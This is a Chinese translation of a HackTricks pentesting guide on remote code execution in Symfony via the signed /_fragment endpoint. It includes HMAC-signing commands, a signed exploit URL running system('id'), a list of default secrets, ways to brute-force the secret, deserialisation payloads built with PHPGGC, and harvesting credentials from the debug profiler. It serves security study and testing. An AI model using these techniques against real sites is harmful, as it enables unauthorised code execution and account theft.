30 KiB
Symfony
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm.
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
介绍
自2008年创建以来,基于PHP的应用程序中使用Symfony框架的使用越来越多。它现在是许多知名CMS的核心组件,例如Drupal,Joomla!,eZPlatform(以前是eZPublish)或Bolt,并且经常用于构建自定义网站。
Symfony的一个内置功能,用于处理ESI(边缘包含),是FragmentListener
类。基本上,当有人发出对/_fragment
的请求时,此侦听器会从给定的GET参数设置请求属性。由于这允许运行任意PHP代码(稍后详细介绍),请求必须使用HMAC值进行签名。此HMAC的秘密加密密钥存储在名为secret
的Symfony配置值下。
这个配置值secret
也被用于构建CSRF令牌和记住我令牌。鉴于其重要性,这个值显然必须非常随机。
不幸的是,我们发现秘密通常要么有一个默认值,要么存在获取该值的方法,离线暴力破解它,或者纯粹绕过与其相关的安全检查。它主要影响Bolt,eZPlatform和eZPublish。
尽管这可能看起来像一个无害的配置问题,但我们发现在上述CMS以及自定义应用程序中,默认值、可暴力破解或可猜测的值非常非常常见。这主要是由于在文档或安装指南中没有足够强调其重要性。
此外,攻击者可以将影响较小的漏洞升级为读取secret
(通过文件泄露),绕过/_fragment
签名过程(使用SSRF)甚至通过phpinfo()
泄露它!
在本博文中,我们将描述如何在各种CMS和基础框架中获取秘密,并如何使用该秘密执行代码。
一点历史
作为一个现代化的框架,Symfony从创建到现在一直在处理生成请求的子部分。在/_fragment
之前,有/_internal
和/_proxy
,它们本质上是做同样的事情。多年来,它产生了许多漏洞:CVE-2012-6432,CVE-2014-5245和CVE-2015-4050等。
自Symfony 4以来,安装时会生成秘密,并且默认情况下禁用/_fragment
页面。因此,人们可能认为,既有弱secret
,又启用/_fragment
的情况很少见。但事实并非如此:许多框架依赖于旧的Symfony版本(甚至2.x仍然非常常见),并且实现了静态secret
值或生成不良的值。此外,许多依赖于ESI,因此启用了/_fragment
页面。此外,正如我们将看到的,其他影响较小的漏洞也可以允许转储秘密,即使它已经被安全地生成。
使用secret
执行代码
我们首先演示了一个攻击者如何在了解secret
配置值的情况下获取代码执行。这是针对最新的symfony/http-kernel
版本进行的,但对其他版本也类似。
使用 /_fragment
运行任意代码
如前所述,我们将使用 /_fragment
页面。
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
FragmentListener:onKernelRequest
会在每个请求上运行:如果请求的路径是/_fragment
[1],该方法首先会检查请求是否有效(即是否正确签名),否则会引发异常[2]。如果安全检查成功,它将解析url编码的_path
参数,并相应地设置$request
属性。
请求属性不应与HTTP请求参数混淆:它们是Symfony维护的内部值,通常不能由用户指定。其中一个请求属性是_controller
,它指定要调用的Symfony控制器(一个(类,方法)元组,或者只是一个函数)。名称不以_
开头的属性是要传递给控制器的参数。例如,如果我们希望调用这个方法:
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
我们将_path
设置为:
_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2
然后请求将如下所示:
http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...
基本上,这允许调用任何函数或任何类的任何方法,以及任何参数。鉴于Symfony拥有众多的类,获取代码执行是微不足道的。例如,我们可以调用system()
:
http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...
每次调用system并不总是有效:有关利用细节,请参考Exploit部分。
但是还有一个问题:Symfony如何验证请求的签名?
对URL进行签名
为了验证URL的签名,会对_完整的_ URL计算HMAC。然后将得到的哈希与用户指定的哈希进行比较。
在代码上,这是在两个地方完成的:
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
简而言之,Symfony提取_hash
GET参数,然后重构完整的URL,例如https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...
,使用secret
作为密钥[1]对该URL进行HMAC计算,并将其与给定的哈希值进行比较[2]。如果它们不匹配,则会引发AccessDeniedHttpException
异常[3],导致403
错误。
示例
为了测试这个,让我们设置一个测试环境,并提取密钥(在这种情况下,是随机生成的)。
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
现在,访问http://localhost:8000/_fragment
会返回403
错误。现在,让我们尝试提供一个有效的签名:
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
通过检查 http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
,我们现在得到了一个 404
状态码。签名是正确的,但我们没有指定任何请求属性,所以Symfony找不到我们的控制器。
由于我们可以调用任何方法,使用任何参数,我们可以选择 system($command, $return_value)
,并提供如下有效载荷:
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
我们现在可以访问利用URL:http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
。
尽管出现了500
错误,但我们可以看到我们的命令已经执行。
使用片段进行远程代码执行(RCE)
查找秘密
再次强调:如果无法获取秘密,所有这些都没有意义。通常情况下,我们可以找到秘密。我们将描述几种在没有任何先前知识的情况下获取代码执行的方法。
通过漏洞
让我们从明显的漏洞开始,使用低影响的漏洞来获取秘密。
文件读取
显然,可以使用文件读取漏洞来读取以下文件并获取secret
:
app/config/parameters.yml
.env
例如,一些Symfony调试工具栏允许您读取文件。
PHPinfo
在最新的Symfony版本(3.x)中,secret
存储在.env
中作为APP_SECRET
。由于它被导入为环境变量,可以通过phpinfo()
页面查看它们。
通过phpinfo泄露APP_SECRET
可以通过Symfony的分析器包来实现这一点,如屏幕截图所示。
SSRF / IP欺骗(CVE-2014-5245)
FragmentListener
背后的代码在多年间发生了变化:在版本_2.5.3_之前,当请求来自受信任的代理(即localhost
)时,它将被视为安全的,因此不会检查哈希值。例如,SSRF可以允许立即运行代码,而不管是否有secret
。这主要影响eZPublish直到2014.7版本。
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
诚然,所有这些技术都需要另一个漏洞。让我们深入研究一个更好的向量:默认值。
通过默认值
Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt
在设置Symfony网站时,第一步是安装symfony-standard骨架。安装完成后,会提示输入一些配置值。默认情况下,密钥是ThisTokenIsNotSoSecretChangeIt
。
Symfony通过composer进行安装
在后续版本(4+)中,密钥会被安全地生成。
ezPlatform 3.x(最新版):ff6dc61a329dc96652bb092ec58981f7
ezPlatform是ezPublish的继任者,仍然使用Symfony。在2019年6月10日,一次提交将默认密钥设置为ff6dc61a329dc96652bb092ec58981f7
。受影响的版本范围从3.0-alpha1到3.1.1(当前版本)。
尽管文档指出应该更改密钥,但并没有强制执行。
ezPlatform 2.x:ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
与Symfony的骨架类似,在安装过程中会提示您输入一个密钥。默认值为ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
。
Bolt CMS <= 3.7(最新版):md5(__DIR__)
Bolt CMS使用Silex,这是一个基于Symfony的已弃用的微框架。它使用以下计算来设置密钥:
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
因此,可以猜测秘密,或使用完整路径泄露漏洞来计算它。
如果使用默认的秘密密钥没有成功,不要绝望:还有其他方法。
暴力破解
由于秘密通常是手动设置的(而不是随机生成的),人们通常会使用密码短语而不是安全的随机值,这使得我们可以使用哈希来进行暴力破解。显然,一个有效的/_fragment
URL(例如Symfony生成的URL)将为我们提供一个有效的消息-哈希对,以便我们可以对秘密进行暴力破解。
响应中包含了一个有效的fragment请求
在本文的开头,我们说Symfony的秘密有几个用途。其中之一就是用于生成CSRF令牌。secret
的另一个用途是用于签名记住我(remember-me)cookie。在某些情况下,攻击者可以使用自己的CSRF令牌或记住我cookie来暴力破解secret
的值。
构造这些令牌的逆向工程留给读者作为练习。
更进一步:eZPublish
为了演示如何通过暴力破解秘密来实现代码执行,我们将看看如何找出eZPublish 2014.07的秘密。
寻找暴力破解材料
eZPublish生成其CSRF令牌的方式如下:
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
要构建这个令牌,eZP使用了我们知道的两个值和秘密:getIntention()
是用户尝试的操作(例如authenticate
),session_id()
是PHP会话ID,而getSecret()
则是Symfony的secret
。
由于CSRF令牌可以在某些表单中找到,我们现在有了破解秘密的材料。
不幸的是,ezPublish集成了来自sensiolabs的一个bundle,sensio/distribution-bundle。该软件包确保秘密密钥是随机的。它在安装时生成如下:
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
这个看起来很难暴力破解:mt_rand()
可以产生231个不同的值,而uniqid()
是由当前时间戳(带有微秒)构建的。
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
揭示时间戳
幸运的是,我们知道这个秘密是在安装的最后一步生成的,在网站设置完成后立即生成。这意味着我们可能会泄露用于生成此哈希的时间戳。
一种方法是使用日志(例如/var/log/storage.log
);可以泄露缓存条目创建的第一次时间。缓存条目在调用generateRandomSecret()
之后立即创建。
示例日志内容:时间戳与计算密钥时使用的时间戳类似
如果日志不可用,可以使用eZPublish的强大搜索引擎来查找网站的第一个元素的创建时间。实际上,当网站创建时,会将许多时间戳放入数据库中。这意味着eZPublish网站的初始数据的时间戳与用于计算uniqid()
的时间戳相同。我们可以搜索landing_page
_ContentObject_并找出其时间戳。
暴力破解缺失的部分
我们现在知道用于计算密钥的时间戳,以及以下形式的哈希值:
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
这样我们就有了总共231 * 106种可能性。使用hashcat和一组强大的GPU,这个任务是可行的,但是hashcat没有提供sha1(sha1($pass).$salt)
的内核。幸运的是,我们已经实现了!你可以在这里找到拉取请求。
使用我们的破解机器,拥有8个GPU,我们可以在不到20小时内破解这个哈希。
在获取哈希之后,我们可以使用/_fragment
来执行代码。
结论
Symfony现在是许多PHP应用程序的核心组件。因此,任何影响该框架的安全风险都会影响到许多网站。正如本文所示,无论是弱密钥还是较不重要的漏洞,都允许攻击者获得远程代码执行的权限。
作为蓝队成员,您应该检查每个依赖Symfony的网站。最新的软件也不能排除存在漏洞的可能性,因为密钥是在产品首次安装时生成的。因此,如果您几年前创建了一个基于Symfony-3.x的网站,并在此过程中保持了更新,那么默认密钥可能仍然有效。
攻击
理论
首先,我们在利用此漏洞时需要关注以下几点:
- HMAC是使用完整的URL计算的。如果网站位于反向代理后面,我们需要使用服务的内部URL而不是我们发送有效载荷的URL。例如,内部URL可能是HTTP而不是HTTPS。
- HMAC的算法随着时间的推移而改变:之前是SHA-1,现在是SHA-256。
- 由于Symfony会从请求中删除
_hash
参数,然后再次生成URL,我们需要在与其相同的URL上计算哈希。 - 可以使用许多密钥,因此我们需要检查它们全部。
- 在某些PHP版本中,我们无法调用具有“按引用”参数的函数,例如
system($command, &$return_value)
。 - 在某些Symfony版本中,
_controller
不能是一个函数,它必须是一个方法。我们需要找到一个允许我们执行代码的Symfony方法。
另一方面,我们可以利用以下几点:
- 在没有参数或具有无效哈希的情况下访问
/_fragment
应返回403
。 - 在具有有效哈希但没有有效控制器的情况下访问
/_fragment
应返回500
。
最后一点允许我们测试密钥值,而不必担心之后要调用哪个函数或方法。
实践
假设我们正在攻击https://target.com/_fragment
。为了能够正确签名URL,我们需要了解以下信息:
- 内部URL:可能是
https://target.com/_fragment
,也可能是http://target.com/_fragment
,或者完全不同的内容(例如http://target.website.internal
),我们无法猜测 - 密钥:我们有一组常用的密钥,例如
ThisTokenIsNotSoSecretChangeIt
,ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
等。 - 算法:SHA1或SHA256
我们现在不需要担心有效载荷(_path
的内容),因为正确签名的URL不会导致抛出AccessDeniedHttpException
,因此也不会导致403
。因此,该攻击将尝试每个(算法、URL、密钥)组合,生成一个URL,并检查是否不返回403
状态码。
没有_path
参数的有效请求到/_fragment
此时,我们可以签名任何/_fragment
URL,这意味着它是一个保证的RCE。只是要调用什么函数的问题。
然后,我们需要找出是否可以直接调用函数,还是需要使用类方法。我们可以首先尝试最简单直接的方式,使用诸如phpinfo ([ int $what = INFO_ALL ] )
(文档)这样的函数。_path
GET参数将如下所示:
_controller=phpinfo
&what=-1
而URL将如下所示:
http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...
如果HTTP响应显示了phpinfo()
页面,我们就成功了。然后我们可以尝试使用另一个函数,比如assert
:
使用_controller=assert
的示例输出
否则,这意味着我们需要使用一个类方法。一个很好的选择是Symfony\Component\Yaml\Inline::parse
,它是一个内置的Symfony类,因此在Symfony网站上是存在的。
显然,这个方法解析一个YAML输入字符串。Symfony的YAML解析器支持php/object
标签,它将把一个序列化的输入字符串转换为一个对象,使用unserialize()
函数。这让我们可以使用我们喜欢的PHP工具,PHPGGC!
这个方法的原型在多年间发生了变化。例如,这里有三个不同的原型:
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
相比于为每个参数构建_path
,我们可以利用这样一个事实:如果我们提供的参数名称与方法原型不匹配,它将被忽略。因此,我们可以将所有可能的参数添加到方法中,而不必担心实际的原型。
因此,我们可以这样构建_path
:
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
再次,我们可以尝试使用phpinfo()
,看看是否有效。如果有效,我们可以改用system()
。
使用序列化负载的Inline::parse
的示例输出
因此,利用程序将遍历每种可能的变量组合,然后尝试这两种利用方法。代码可在我们的GitHub上找到。
访问symfony /_profiler信息
如上面的屏幕截图所示,页面右下角有一个sf
标志。当Symfony处于调试模式下时,会显示此标志。有些情况下,此标志可能不会显示,因此尝试访问/_profiler
,您将看到如下所示的页面。
此功能称为Symfony Profiler,在互联网上关于此功能的信息不多。此功能的意图非常明确:在出现错误或漏洞时,它可以帮助您进行调试。当然,只有在启用调试模式时才能使用此功能。
Symfony框架本身非常安全,但启用调试模式将使该框架极易受攻击。例如,Profiler具有一个名为Profile Search的功能,如下面的屏幕截图所示。
如上面的屏幕截图所示,您可以访问发送到服务器的所有请求。通过点击令牌中的哈希值,您将看到可以读取所有POST参数,如下面的屏幕截图所示。利用此功能,我们可以劫持管理员和用户的帐户凭据。
其他启用调试的端点
您还应检查以下URL:
参考资料
- https://www.ambionics.io/blog/symfony-secret-fragment
- https://flattsecurity.hatenablog.com/entry/2020/11/02/124807
- https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享您的黑客技巧。